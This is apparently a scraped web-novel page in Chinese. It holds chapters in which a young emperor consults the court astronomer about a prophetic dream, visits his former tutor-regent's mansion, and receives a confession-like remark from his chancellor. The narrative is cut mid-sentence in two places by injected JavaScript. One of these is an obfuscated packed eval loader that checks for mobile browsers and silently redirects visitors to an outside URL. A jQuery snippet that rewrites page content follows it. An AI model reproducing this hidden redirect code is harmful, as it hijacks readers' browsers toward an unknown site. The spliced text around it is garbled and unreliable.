抓到人后,谢桐拿出巡值名单等物证,与这人进行比对,果然确认无误。 刺客供认不讳,很快被带出去砍了头。 只是谢桐年纪尚小,没能从刺客嘴里问出主谋,那人一口咬定自己妒恨皇室,所以随意挑了个最好拿捏的谢桐下手。 最后这仇彻底得报,还是因为有闻端的帮助。 谢桐十二岁那年,闻端成为了他的老师。 数年后,在闻端的提点下,谢桐才顺着多年前的线索,挖出那日刺客的真正主谋。 二皇子。 谢桐的皇兄。 “朕与你相知相识多年……” 见关蒙跪在地上,薄唇抿得发白,谢桐不由得又想起过往十年间的陪伴,心内一软,语气还是柔和了下来: “曾经闻太傅把持朝政,你万事都向他报备是自然,但如今朕已经是天子,你如果还把自己当成朕的暗卫,就不应该背主忘义。” “朕——”谢桐顿了顿,又继续道:“想当明君。” “不想当一个被人操控的傀儡。” 他垂下眼,看着关蒙,慢慢开口:“你能懂吗?” 关蒙长跪许久,终于俯身叩首,低声说:“关蒙是圣上的暗卫,自当遵循圣上的旨意。” * 在御书房处理了一会儿政事后,谢桐饮了口茶,对侍立在旁的罗太监道:“备轿,去钦天监。” 钦天监主理观测天象,推算节气,而谢桐这一趟,主要是想请监正解一解自己昨夜的梦。 在出门之前,又有一位太医提着药箱赶到,说是应闻太傅之命前来,为谢桐把脉。 “听闻圣上夜里难眠,臣特来给圣上瞧一瞧脉象。”老太医道。 谢桐脚步一顿。 自己明明和闻端说了没什么事,他还叫个太医过来做什么? 不过看一看倒也无妨,谢桐于是伸出手,让太医把脉。 老太医细细把了一通,得出结论:“圣上圣体无碍,只是有些邪火内炽,迫血妄行之象,臣开点清热败火的方子,圣上服用过后,应会舒适一些。” 说完了这番话,老太医抬起头,慢吞吞道:“还有……圣上年轻气盛,后宫又空置着,也该是时候添几位娘娘,如此才更得阴阳调和,不至于邪火内郁,伤身呐。” “……” 谢桐的脸色很有些复杂。 “朕知道了。”他挥了挥手,示意这位老太医下去:“回去开点方子过来吧。” 打发了老太医,谢桐乘轿半柱香功夫,到了钦天监。 钦天监的观星台坐落在皇宫东北角,非皇族不能靠近,而监正今年六十有余,侍奉过三朝帝王,资历深厚。 “不必多礼。” 谢桐免了监正的跪拜大礼,走到殿中的观星盘旁坐下,并道:“张国师请坐。” 为表尊敬,各代帝王都会尊称监正一声国师。而上一次来钦天监,见到张监正的时候,谢桐还只有十岁出头。 那年境内灾害不断,先帝只得设坛焚香祈福,还携所有子女来了钦天监,请当年的张监正夜观天象,预测一下这一次的劫难什么时候过去。 谢桐依稀记得,张监正那时语焉不详,只说:“时机未到,贵人未至,且需耐心等待。” 临走前,谢桐依礼拜别国师,还被张监正伸手摸了摸头,对他道:“殿下,保重身体。” 而十年后再见,张监正已经鬓染斑白,精神大不如从前,唯有一双眼睛依旧明亮有神,对谢桐温和地笑了笑:“臣先贺过圣上登基之喜。” 两人客套一番,谢桐才状似无意般提起自己这趟来的目的:“张国师,朕今日前来,是昨夜有一梦想请国师解疑。” 张监正摸了摸自己的胡子,滴水不漏回道:“臣于解梦一道也并不精通,但既然是圣上要求,臣自当尽力一试。” “请问圣上,这梦,是什么梦呢?” 谢桐顿了顿,才斟酌着说:“朕昨夜入睡,梦见此身进了一怪境。” “怪境中能见到无数奇装异服之人,手捧书卷,书卷上有字迹浮现,皆是与我朝有关之大事。” 谢桐将那过于离奇的梦境稍微润色了一下,用比较能令人理解的言语表达出来。 至于《万古帝尊》这本书,以及这个世界其实是书中世界一事,谢桐出于某种直觉,并不想告诉给太多人知道。 张监正听了谢桐的描述,沉思半晌,问:“那圣上,是否有在那书卷上,瞧见与您熟知之人相关的记录呢?” 谢桐心内一惊。 他原本不想提那些……荒唐的文字,但张监正不愧是三朝国师,问题直击要害,并不给他这样的机会。 谢桐垂下睫,慢慢道:“有……朕梦见书卷上记着不少熟悉之人的姓名,以及那人之后数十年的所作所为,但——” “朕其实觉得,那些记载过于荒唐,并不似正常人能为。” 谢桐咳了一声,又说:“况且,不同书卷上的记载各有不同,朕实在不知,哪些是真,哪些又是假。” 张监正摸着胡子:“圣上慧根未泯,这是常言道的‘预知梦’,圣上所梦之奇境中的书卷,乃是预兆着我大殷朝未来走向的上天指引。” 谢桐回忆起那些不可言说的榻上十八禁姿势描写:“……” 那种东西,也能叫上天指引吗??? 张监正:“至于梦到熟悉之人的所作所为不同,是因未来变数颇多,圣上尚且刚刚登基,气运未定,所以还没能有十分准确的预知。” 谢桐欲言又止。 他其实想告诉张监正,除了《万古帝尊》这本书,其他写他谢桐的,都是一些乱七八糟的和其他男人、女人、甚至兽人……的感情描述,没有半点用处,还令他十分糟心。 “圣上所言的书卷,其实都对应着一个殷朝的未来、圣上的未来。”张监正忽然说。 谢桐一怔,抬起眼,正好与张监正清亮的眼睛对视上。 “圣上,”张监正沉下嗓音,一字一句缓缓道,“您早有帝王之相,如今更有上天的指示,圣上今后的每一步决定,都将牵引着众人走向一个未知的大殷。” 谢桐搁在膝盖上的手指攥起,见张监正突然起身,掀袍跪在地上,对他行了大礼。 “圣上,大殷如今内忧外患不断,实非清平盛世。臣恳请圣上以民为首,事事再三思虑,缓下决策,望圣上在位之日,能令我大殷河清海晏,开万世之太平。” “如此,才能不负难得的天示预警。” * 从钦天监出来后,谢桐挥退了轿辇,一边沉思,一边缓慢踱步往回走。 走了约莫一盏茶的功夫,他身边不远不近跟着的罗太监才忍不住开口,问道: “圣上,您现在是打算去哪里?奴才也好吩咐那边先行打理干净,免得有什么闲杂人等,扰了圣上的耳目。” 谢桐回过神来,一抬眼,发现自己竟不知不觉走到了宫门附近。 谢桐:“……” 他忘记了,自己的身份已经不再是太子了,不需要再回闻端府上了。 谢桐在皇宫外有东宫,但他并没有在东宫住过。 自谢桐十三岁监国、闻端把持朝政后,他便一直居住在闻端的府里。 这条出宫之路,谢桐曾走过千百遍——每当在御书房听完闻端的教导,或是来宫内处理完什么事后,谢桐就是步行这条路出宫,再乘马车回去闻端府上的。 “圣上?”罗太监小心翼翼地弓着背,再次出声。 谢桐望着远处那宏伟的朱红色宫门,以及门下成队的披甲戴胄的守卫,无意间想起今日闻端说的话来。 在书房里,闻端说:“圣上还是太子时的居所,臣给您留着。” “圣上若是住寝殿不惯,难以入眠,可回臣的府邸休息。”他还这样道。 谢桐垂着眼,若有所思地摩挲着手里的竹简。 竹简是张监正送的,上面记载了有关“预知梦”的一些古籍说法,是从钦天监的藏书阁里取出来的。 张监正将此卷送予谢桐,叮嘱他有空时可自行参悟,破解更多梦中的预示。 “圣上,”罗太监见谢桐迟迟不开口,又低声道:“早朝后,您还没有用过膳,还是先回寝殿歇息用膳吧?” 谢桐听见他的话,却挑了一下眉,说:“不用。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些天谢桐忙于登基事务,都住在宫里,宫里的饭菜虽然琳琅满目,但谢桐每每吃饱后,总觉得哪里少了点什么。 在碗筷相碰的细微响动间,陪坐在一旁的闻端终于再次开了口,问道:“圣上特意来臣府上,是有什么要事吗?” 毕竟今日下朝后才刚刚见过面,如果没有事,谢桐应该不会主动来这一趟。 “要事是没有。” 谢桐吃了个七分饱,筷子慢了下来,一边随意说: “朕方才从钦天监出来,收益良多,想与老师探讨一下‘预知梦’而已,顺带拿些朕之前留在这里的常用物件。” 听见前半句话时,闻端尚且没什么太大的反应。 但当谢桐说到要带走一些东西,闻端神色略感意外,顿了顿才出声: “宫内陈设一应俱全,圣上何必……将臣府上那些用旧的物件带回去?偶尔圣上若是夜间因故留宿,也好暂住一会儿。” 谢桐觉得这话说的有那么点道理,这趟本来也不是主要过来拿东西的,于是无甚所谓道: “那留些床褥在此处便可,朕待会过去看一看,要带走的就今日带走。” 闻端垂了下眸,嗓音平静:“……臣遵旨。” 谢桐用完了早膳,让人将碗碟撤走,才把竹简拿出来摆在桌上,伸手给闻端推了过去,正色道: “这是钦天监内记载的‘预知梦’内容,张监正让朕带回来钻研钻研。” 闻端打开竹简,一目十行地扫过,又合上,问:“圣上在钦天监,是请张国师解昨夜的‘预知梦’?” 谢桐:“朕梦见了一些奇人、奇事,老师耳目灵通,应知道发生了什么事。” 早在从钦天监迈步而出的那一刻,谢桐就猜到,自己与张监正的一言一行,肯定已经被人秘密传递给闻端了。 闻端沉默了一下,也没有故意隐瞒,道: “圣上的梦,确是奇梦无疑。既有我大殷未来之事,又涉及朝前朝后熟知之人,臣也觉得,是天道见圣上真龙即位,特意降下的预示。” “不过臣有一事其实不明。”他又说。 谢桐下意识问:“何事?” 闻端像是在思索,慢慢开口:“圣上在钦天监说,梦中有关熟悉之人的‘记载过于荒唐,并不似正常人能为‘,此话该如何理解?’” “何为非正常人所为?过于荒唐,又是有多荒唐?” 谢桐:“……” 他原以为,闻端留在钦天监的耳目只会传达一下他和张监正的大致谈话内容,曾能料到,自己的每一句话竟然都被如实记录,闻端也因此看见了他没能掩饰好的这些话。 有多荒唐?这是能说的吗??? 难道谢桐要对闻端道,他梦见朝上的每一个与他年纪相当、未成家立业的臣子,都成了他的榻上之臣?还是压在自己身上的那个? 莫说闻端有什么反应,光是把这话说出来,谢桐自己简直就要气闷至极。 男人和男人! 离经叛道!荒谬至极!无稽之谈! 虽然只是文字描写,也万分可恶! “不过是一些……”谢桐咳了一声,欲盖弥彰道:“罔顾人伦之举,有些骇人,朕觉着……不必多虑,朕是不可能让我朝臣子变成那个样的。” 闻端不知是信了这番解释,还是没信,但总归没有继续纠结。 谢桐暗中松了一口气。 但闻端又说:“臣还有一问。” 谢桐:“?” 闻端摩挲着面前的茶盏,将那小巧的杯盖儿捏在手中把玩,缓慢道:“臣其实也想知道……” “圣上既然梦见许多熟悉的人,那是否也在那梦中遇见臣?” “若是梦了……臣在其中,又是否也成了非常人,又究竟对圣上行了什么……罔顾人伦的荒唐事?” 4. 冒犯 谢桐一时间,竟然无法理解闻端的这番话。 不是无法回答其中的内容,而是谢桐不知道,闻端为何会问出这样的话来。 谢桐自己觉得,梦见了什么荒唐事,从来都不重要——即使那些不正经的描述令他如鲠在喉,十分的不自在。 但终归到底,那只是梦,也只是梦中窥见的文字描写,谢桐从不认为这些过于出格的描述会成真。 既是预知梦,上天警示了谢桐未来可能会误入的歧途,那他绕开走不就行了?何必过分纠结呢? 因此,谢桐对闻端这个无甚实际意义的问题,略感惊奇。 他抿了下唇,别开目光,避免与闻端直视,淡淡道:“……没有。” “朕没有梦见你,老师。”谢桐说。 闻端面容上很浅的笑意消失了,他像是无比意外似的,定定看了谢桐许久,直到确认谢桐并没有在开玩笑,才低低出声: “没有臣吗?圣上。” 谢桐忽然听见桌上传来一声清脆的杯盏相撞响动,撩起长睫一看,原来是闻端在放下捏在手里的茶杯盖儿时,没有掌握好力度,不小心让杯盖与杯沿相撞,发出了动静,还让杯子里的茶水荡出了些许。 “……臣失仪了。” 短短瞬息之间,闻端就恢复了往常的神态,就如刚刚的失神都是旁人的幻觉一般,他放下手,平静道:“请圣上恕罪。” 谢桐“唔”了一声,说:“无妨。” 其实有点心虚,谢桐心想。 他并非全然未梦见任何与闻端有关的“预知文字”。 在最初看见的那本《万古帝尊》中,实际上花了大量篇幅,来描写闻端这个人。 在书中,闻端身为帝师,冷血暴虐,独揽大权多年,是主角“谢桐”生平最恨之人,还是书中最大的佞臣反派,注定要成为主角千古明帝道路上的拦路虎、垫脚石。 文里面详细描述了闻端是如何架空新帝谢桐的朝政大权,又是如何在各种决策中刁难谢桐,阻止他想为民为国所做的任何自主举动。 还在朝中结党营私,成为大殷朝名副其实的权臣,只手遮天。 而主角谢桐在闻端的压迫下,咬牙与他虚与委蛇,实则暗布棋局,将表面上看起来无懈可击的闻端的政权体生生撬出了一个角,并把自己的人一点点安排进去,替换掉闻端操纵的傀儡。 从傀儡皇帝,到一步步牢牢把控朝政大权,主角谢桐花了九年。 二十九岁那一年,主角谢桐成功制造了一场宫变,率军将闻端围杀于乾坤殿前。 至此,《万古帝尊》关于最大反派闻端的剧情才正式结束,主角谢桐走向下一个明帝道路上的新挑战。 在谢桐的梦中,这本书的文字浮现比任何一本不靠谱的同人文都来得清晰、明了。 他甚至能够毫无阻碍地回忆起,《万古帝尊》中是如何描写闻端被杀的那段激动人心的剧情的。 作者在写就这段文字时,并没有花费大量笔墨去描绘“谢桐”和“闻端”这对相识相斗快二十年的宿敌,在终于迎来结局时的,互相脸上的神情。 而只写了寥寥几句对话。 书中,“闻端”被俘于刀剑之下,浑身浴血时,开口:“臣有话,想要问圣上。” “谢桐”道:“说。” “闻端”问他:“臣想知,圣上是何时恨臣入骨,恨不得亲手将臣血刃于金殿前的呢?” “谢桐”则淡淡回答:“从你成为朕的太傅那一日起,朕就日日活在痛苦之中,心中恨意从未断绝过。” 听了他的话,“闻端”竟然大笑出声,道: “臣之幸也!” 随后坦然被杀。 在梦中看见这段剧情的时候,即使只有冰冷的文字,谢桐依旧仿佛能透过那些发光的石头,看见乾坤殿前那惊心动魄的血腥一幕来。 除了《万古帝尊》这本书,其余被谢桐发现的同人文,从来没有一本是将他和闻端组成“CP”的。 用读者们的话来说,主角谢桐,和反派闻端,两个人之间只有血与恨,没有一丁点“CP感”,无论如何都不可能产生CP间的爱意。 ……虽然谢桐自己觉得,那些文中表现爱意的方式,也并不像是正常人能做出来的。 不过无论如何,谢桐其实是梦见了关于闻端的描写的。 但关键是,他不可能将《万古帝尊》里的内容对闻端道明,只能含糊其辞,表示并没有梦到过。 不然,难道他要说:闻太傅,朕梦见你架空朕成为了傀儡皇帝,于是朕忍辱负重,终于在多年后把你当众砍了头吗? 就算只长了半颗脑子,谢桐也不会说出这样的话来。 何况,他其实有所预感,认为《万古帝尊》这本文里面的内容,比那些乱七八糟的同人CP文都要重要。 至少,谢桐与闻端的故事,在今时今日之前,都与《万古帝尊》中无比相似,并非无稽之谈。 所以…… 谢桐垂在袍袖中的手指蜷缩起,感到呼吸都有几分困难。 闻端就坐在他面前,这个男人,与在谢桐十二岁那一年出现时,似乎没有什么太大变化。 眉目依旧俊美过人,气度仍然从容不迫,如果硬要说有什么不一样的,不过是日渐沉稳的威势,以及越来越令外人难以捉摸的、深不可测的心思。 老师,谢桐在心里唤着这个熟悉的称呼。 你真的会如书中那样对我吗? 这个问题,谢桐既然不会问出口,也就不会得到答案。 两人坐在前厅,又就“预知梦”此事简单地聊了聊,谢桐心有所想,不太能打得起精神来。 但更出乎他意料的是,闻端看上去也心不在焉的,自始至终都垂着眼,盯着桌上的茶水走神。 这话聊不下去,谢桐也不想再硬聊,于是主动起身,开口道:“时间不早了,老师府中事务繁忙,朕也不便再叨扰了。” 闻端神情一顿,像是刚回过神来。 “……今后圣上若对‘预知梦’有任何疑惑或想法,都可与臣来探讨。” 闻端也起身相送,嗓音缓缓: “臣也认同张国师的看法,圣上如果谨慎行事,做出正确的决策,走上正确的道路,就不会出现梦中那些过于离奇的结局。” “圣上,事在人为。”闻端道:“但很多事也并非一人可为,圣上若为难,臣会尽力相助。” 谢桐抿住唇,没有说什么,想了想,索性换了个话题: “差点忘了,朕还要从曾经的寝房中取回一些物品,老师,你带朕过去吧。” 闻端沉默了一会儿,才开口:“臣,遵旨。” * 谢桐曾经居住了七年的地方,就在闻端的寝房隔壁。 这个院落里有一棵参天而立的银杏树,枝叶繁茂,谢桐从前还会爬到树上,藏身在茂密的叶间,以此来逃避闻端的每日考学。 ——是,谢桐从前最怕读书。 作为不受宠的三皇子,谢桐在宫内无拘无束地长到了十二岁,成为了一个满肚子草包的文盲,每天考虑最多的事情,无非是今天带着暗卫关蒙去哪里钻墙洞。 先帝倒是曾经派过大儒来教习几位皇子读书,但谢桐比起两位皇兄来,性情顽劣,年纪又太小,完全跟不上要学习的东西,几乎每逢上课必逃。 先帝没有特意关注,教习的大儒也拿谢桐没办法,索性随他去了。 直到谢桐长到十二岁,忽然间有了一个姓闻的老师。 彼时闻端刚刚年满十八,在朝廷众官们眼中,比乳臭未干的谢桐也好不到哪里去。 他们都没有料到,仅仅一年过后,龙椅上的先帝会突发急症病倒,连发了数道圣旨。 第一道是立谢桐为太子; 第二道是先帝病重期间,由太子监国; 第三道旨意是因太子年幼,朝中各事,由太傅闻端代为处理。 那一年,谢桐也从宫里搬了出来,暂住到闻端的府中。 其实太子不住在皇宫,也不住在自己的东宫内,是不合规矩的,但不知道当年闻端用了什么方法,摆平了那群喋喋不休的言官,把谢桐接到了身边。 谢桐起初不明白这样用意为何,后来逐渐想明白,闻端是把自己这个“太子”,牢牢地控制在了手心里。 只要谢桐在闻府内一日,其他朝廷命官就不会有私底下接触太子的机会。 而谢桐的所知所学,尽数来自闻端,甚至连为帝的礼仪规范,都是被闻端亲自手把手教会的。 他身上始终有闻端篆刻下的烙印。 闻府百年银杏树下的这一方院落,有着几乎是谢桐目前一半人生的回忆。 树下有几块磨得光亮的白玉石板,是谢桐练武时最常站立的地方。 木窗框上发白掉漆的一小块地方,是谢桐每每读书读得无聊了,双臂搭在上边,仰头看窗外时造就的。 银杏树粗糙长着绿苔的树干上,有许多道陈旧黯淡的墨痕——那是谢桐被罚站在院中背书时,忿忿不平,用大毛笔沾墨在树干上画下的“小人闻端图”。 时隔这么多年,谢桐再次踏入这个院子时,还能一眼瞥见银杏树干上扁圆的墨圈,那是“闻端”的脑袋,底下长着张牙舞爪的四肢。 “圣上来一趟未免辛苦。” 就在这时,跟在谢桐身后的闻端忽然开了口,道:“不如中午在此处下榻,休息半个时辰再回宫里。” 谢桐掀了下眼睫,看向西北角那个安静整洁的厢房,顿了顿,摇了摇头:“不必了。” “朕刚登基,还有许多政事要处理,还是待会便回去吧。” 谢桐的卧房一如往昔,物件的摆放丝毫没有挪动过,靠窗的桌案上用镇纸压着一沓宣纸,里边的帐帘用两枚青色的玉钩别着,榻上被枕叠得整齐,处处一尘不染。 事实上,谢桐离开这个地方,也就不足一个月。 先帝病了多年,终于没能再撑下去,驾崩于一月前。 而谢桐作为太子,在先帝驾崩的前几日就进宫侍奉在病榻前,后来停殡、服丧、入葬地宫,再然后即位,期间琐事繁忙,谢桐索性直接住在了宫里,没有回过闻端府上。 因此,谢桐此时看见这个卧房,颇感亲切。 “圣上常用的旧物,都还放在原处。” 闻端见谢桐饶有兴趣地在房中转来转去,于是出声道。 “唔。”谢桐其实也觉得没什么特别重要的东西,想了一会儿,突然问:“朕的那盘战棋呢?” 他有一盘以黑白玉石雕琢而成的棋子,并非寻常围棋,而是谢桐自己研发出来的,以沙场战局为底、两军对抗交战为玩法的“战棋”。 棋盘也和寻常的四方格子全然不同,谢桐参照着书上多场战役的地点、风貌等,自制了一个土黄色的圆形棋盘,还有小机关可以开合,显出不同颜色的“森林”、“河水”、“断崖”等地貌来。 起初,谢桐是拿了普通木头雕琢出里面的“将军”“都尉”“骑军”“步军”“战车”等棋子。 后面闻端发现谢桐在玩的这套战棋,又用了黑白二色的名贵玉石,命人打造出对应的棋子,换了先前那些简陋的木头小人。 闲暇之余,谢桐也常和闻端在棋盘上大战三百回合。 一开始,闻端摸不清谢桐制定的规则,还输了几回。可后来,无论谢桐如何费劲心力,最多也就能落得个保住“将军”,但全军大败的结局。 直到谢桐年岁渐长,兵书读得多了,才能在战棋上与闻端堪堪过几十个回合。 那盘玩意儿可不小,谢桐以前就把它摆在书案左侧,无聊时就玩两把,但今日进门后,好像没瞧见熟悉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13611900|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棋盘。 听见谢桐疑惑的问话,闻端面不改色道: “圣上的战棋已有多处磨损,臣前日见了,索性叫师傅取回重新修补。等完工后,臣再遣人送入宫中便是。” 谢桐蹙了下眉:“那朕若是想玩……” 闻端:“可到臣府中来玩,臣随时恭迎圣上。” 谢桐:“……” “朕想在宫中寻他人对弈。” 谢桐有些郁闷道:“总是输在老师手下,朕觉得颇为无趣。” 闻端的神色意外:“圣上,很介意输赢?” 谢桐下意识摇头:“朕是天子,怎么会拘泥于区区一盘棋局的输赢——” 当他看见闻端眸中浅浅的笑意时,话语戛然而止。 “罢了。”谢桐抿了抿唇,别开头道:“朕不取了,回宫。” 闻端跟着他的脚步往外走了几步,嗓音响起在谢桐身后: “圣上,臣年长圣上六岁,侥幸多读了两年书,在棋局上实是胜之不武。” “圣上若是下次再与臣对弈,臣先让圣上三步,如此可好?” 谢桐咬牙,有几分恼羞成怒,觉得闻端这是故意在捉弄自己。 他要赢,就是要堂堂正正的赢,无论是棋局还是政局,无论闻端是不是比他聪明,无论需要付出多少的努力…… 他一定要得到他想要的。 “不必。”谢桐的语气冷了下去,硬声道:“朕技不如人,自会勤加学习精进棋艺,才不负闻太傅……多年教诲。” 闻端的脚步停在了原地。 谢桐或许自己都不知道,他心情好的时候,就会叫闻端老师。 心情极其糟糕的时候,就会生疏地连着姓一起喊“闻太傅”。 闻太傅。 闻端不喜欢听见这个称呼。 他沉默地站了一会儿,直到府内管事来禀报,说谢桐的御辇已经走了,才慢慢开口: “把我卧房里那棋盘拿来,差人送入宫中给圣上。” 管事怔了一下:“官爷,那不是您亲手……” “本想再细细雕琢几日,把棋盘边沿也打磨一番。” 闻端抬手,捏了捏眉心,嗓音几分无奈:“圣上今日来没要到,许是生气了,再不赶紧着送入宫,怕是更麻烦。” 管事忙道:“是,这就去办。” * 谢桐登基后连着忙了数日,给先帝拟了谥号,到宗庙祭祖放了牌位,又安置遣散先帝留下的嫔妃们,小半个月后,才勉强停歇下来。 闲下来一点后,谢桐想了想,让关蒙去给丞相府传了个信。 午后,碧荷亭,丞相简如是依约定求见。 碧荷亭在御花园的湖中央,三面无遮无挡,难以藏人,非常适合密谈。 谢桐让伺候的宫女将亭四边的竹帘放下,屏退下人,才对面前的简如是道:“简相,坐吧。” 简如是一身月白长袍,外罩靛青色宽衫,气质温柔文雅,不像是朝堂上的高官,倒像是惯会舞文弄墨的年轻才子。 和闻端截然不同,在简如是面前,谢桐几乎不会感到有什么压迫感,因此十分放松自在。 邀请简如是品尝今年进贡的新茶后,谢桐话锋一转,漫不经心地开口: “半月前,简相曾对朕说,如若朕有什么不解之处,可以召你前来解惑。” 简如是笑了笑,一双柳叶眸弯起,神色宁静:“对,臣还说过,臣始终是圣上的人,会一直站在圣上身边。” 谢桐透过轻薄的竹帘,看向外面碧波阵阵的湖面,淡淡道:“朕近来,有些疑问。” “朕已即位,按理来说,朝中大小事,都应经朕决策。但前几日的宗庙事宜,甚至连先帝的谥号,礼部都要问过太傅闻端的意见,才敢动身去办。” 简如是听着他的话,语气平静地说:“朝中上下大多皆为闻党,自然以闻端马首是瞻。” 谢桐又似无意般道:“朕监国时,年纪尚小,朝政之事都经太傅之手,臣子们养成这样的习惯也不足为奇。只是,朕毕竟才是天子,如此未免也太过……” “依丞相的意思,此事该如何办才好呢?” 简如是默然片刻,缓缓道:“佞臣乱政,自当斩小人,清君侧,以正朝纲。” 谢桐霍然抬眼看他。 简如是不躲不避地与他对视,黑眸依旧温和如水。 “圣上,”简如是再次开了口,嗓音温和:“这不是您也想听到的话吗?” 谢桐的心跳很快,他没想到简如是真的敢把这番话直白大胆地说出来——简如是入朝不久,根基未深,也是闻端牢牢把控朝政中的一环,他竟然敢……他为什么敢? 心中疑惑,谢桐也就问出来了:“简相,闻端势大,你这话说的,是否太过轻易?” 简如是摇了摇头。 “你……”谢桐蹙眉:“你如今地位与钱财皆有,不过是受闻端所制,无法掌权而已,何必要来蹚这一趟浑水?” 月白长袍的青年凝视着杯中茶叶良久,才终于下定了决心一般,轻轻吐出一口气,慢声道: “我若说实话,圣上许是不信。” 谢桐心想,你之前说的虚话,朕也不是很相信。 简如是松开握着茶杯的手,撩起眼睫,看向谢桐,道: “圣上于臣而言,意义非同凡响,臣愿为圣上效犬马之力,并非夸夸而谈。” 谢桐听得稀奇:“何为意义非同凡响?” 他怎么不知道自己在简如是眼里,有那么重要? 简如是端坐在石凳上,垂下了眼,过了片刻才开口:“臣对圣上……胜过寻常君臣之情。” 谢桐:“……?” 什么意思?不是寻常君臣之情,那还能是什么情? 这难道就是同人文中所说的……CP情呢??? 5. 逾矩 在闻端成为谢桐的太傅之前,年纪更小的时候,谢桐也曾有过一段不满一年的、短暂的太学时光。 八岁那一年,按照宫内的规定,谢桐被送到了离宫十里外的梧桐书院,与其他年纪相仿的小郡王、郡主,以及朝中命官们的小孩一起学习。 梧桐书院是寄宿制,不论身份地位,入了学,就一律都要住在书院修建的小厢房里,还是三人寝。 小谢桐当年,和现在的丞相简如是、刑部侍郎齐净远住在同一间屋子里。 简如是的父亲是朝廷正三品吏部侍郎,与皇子一同入太学无可厚非。 然而齐净远的父亲当年,不过是个从六品小官,在朝中人微言轻。齐净远是靠着结交了多位郡王郡主,才获得了入太学的机会。 不过当时才八岁的谢桐,对这些弯弯绕绕一概不知。 他只关心自己的处境——卜一入学,谢桐就不小心把简如是那床柔软的被褥给烧了,还险些烧到了齐净远榻上去。 整间厢房乌烟瘴气,简如是站在房门口,望着自己那漆黑一团的床榻,呆住了。 谢桐是皇子,书院自然不能拿他怎么样,但为了以示惩戒,书院没有给三人另外安排新的厢房,而是让他们自己想办法将屋子打理好,继续住在里面。 无可奈何之下,三人花了整整一天的时间修整厢房,直到月上中天,才勉强把里头收拾干净。 但简如是的榻上肯定是不能睡人了。 于是谢桐愧疚地将自己的床贡献出来一半,请简如是睡在自己旁边。 几天后,书院才让人把屋子修缮完毕。 这短短几天的同住同睡情谊,让小谢桐对简如是颇感亲切,至于齐净远……那家伙性格顽劣,暂且不提。 飞快逝去的太学时光里,小谢桐总是爱和简如是黏在一起。 不仅如此,谢桐还发现,自己和简如是身边总是围绕着一群太学生,每天都不一样。 那些人跟着他们上课,跟着他们去花园里玩捉迷藏,热热闹闹的,十分好玩。 “简如是。”小谢桐用惊讶的语气道:“你好受欢迎呀。” 不像谢桐自己,在皇宫里总是孤孤单单的,没什么人愿意陪他玩。 当年比谢桐也大不了多少的简如是别过脸,用一种若有所思的目光看了谢桐一会儿,轻声说:“……并不是我受欢迎,三皇子。” 谢桐不以为然,觉得这是简如是在谦虚。 梧桐书院的太学生涯过了半年有余,谢桐就认识到了许多新朋友。 大家一起读书、一起逃课被老师责骂、一起在鱼塘里捉乌龟、一起翻墙出书院去外面看游花街。 也就是在那一年,谢桐在路边看见了十五岁的闻端高中状元,骑马过街的盛况。 “状元郎真好看。”谢桐的小伙伴们叽叽喳喳地讨论道。 玉冠青袍的状元郎身影已经远去,谢桐依旧趴在酒楼的窗户上,羡慕开口:“我也想中状元。” 简如是听了,笑了一笑:“您是皇子,怎么还需要去科举呢?” 谢桐从窗户上爬下来,想了想,说:“我觉得还是当状元比较威风。” 当皇子并没有什么了不起的,特别是当一个生母早逝、不受宠的皇子。 简如是安静了片刻,伸手将谢桐爬窗子弄得乱糟糟的衣袍打理了一下,安慰道:“三皇子,等你以后长大了,也有机会这样威风。” “是吗?”谢桐在原地转了两圈,给简如是展示自己的模样,还问:“那我会和刚刚那位玉树临风的状元郎一样好看吗?” 简如是正色道:“三皇子比谁都好看。” * 谢桐一个人坐在碧荷亭里出神。 午后的风稍暖了些,从潋滟的湖面上掠过,轻柔地吹拂起亭子四面的竹帘来。 谢桐坐了半晌,没唤宫女过来伺候,自己起身,将帘子全部拉了上去。 简如是方才已经走了,谢桐瞧着石桌上的冷茶,想起自己刚刚冷面无情的答话来。 他冷淡地对简如是说:“无论你对朕是什么心思,如今朕是天子,你是臣,朕与你之间,就只能有君臣之情。” 简如是有些怔愣,久久地看着谢桐,低声道:“是臣……逾越了。” “臣原以为……与圣上之间,还存有几分儿时相知相识的友情。” 谢桐:“……” 一时之间,谢桐甚至想扶额苦笑。 原来简如是说的是这个,他还以为—— 还以为那个荒唐梦境的预示竟然成真,简如是性情大变,兽性大发,竟然敢公然在这光天化日之下对谢桐陈述他的“CP情”。 是自己错怪了简如是,谢桐心想,难得有几分内疚。 因为那个梦,自己是否太过草木皆兵了?见谁的言行举止都透着一股怪异,看谁的眼神都深不可测,疑神疑鬼,甚至错怪了好人。 只是这一琢磨,没等谢桐出言解释,简如是已经神色如常地提起了下一个话题,像是丝毫不在意刚才发生的事情。 如此,谢桐也只好顺着他的话继续。 约莫半个时辰的会面后,简如是起身告退,谢桐送他出了碧荷亭,并道:“今日的谈话,不会有第三个人知道。” 简如是微微点头,神色平静:“臣明白。” 从碧荷亭出来,需要穿过御花园才能回到宫道上。 谢桐的近身宫女蝉衣上前,为简如是引路。 原本两人一前一后安安静静地走路,经过御花园里一个不大的池塘时,简如是却忽然停下了脚步。 “……简相?”蝉衣不解,停下来开口问。 简如是没说话,月白长袍的青年垂着眼,从袖中取出了某样小巧玲珑的东西,而后抬起手,看似十分随意般,将其丢进了池塘里。 蝉衣一愣,她眼力过人,这极短暂的瞬间,便瞥见那像是一个做工精致的檀色香囊,缠枝莲纹样简洁秀丽,即使远远一瞧,也能看出是上品。 香囊噗通一声落入池中,很快沉底不见了。 这么重?蝉衣稀罕地想。 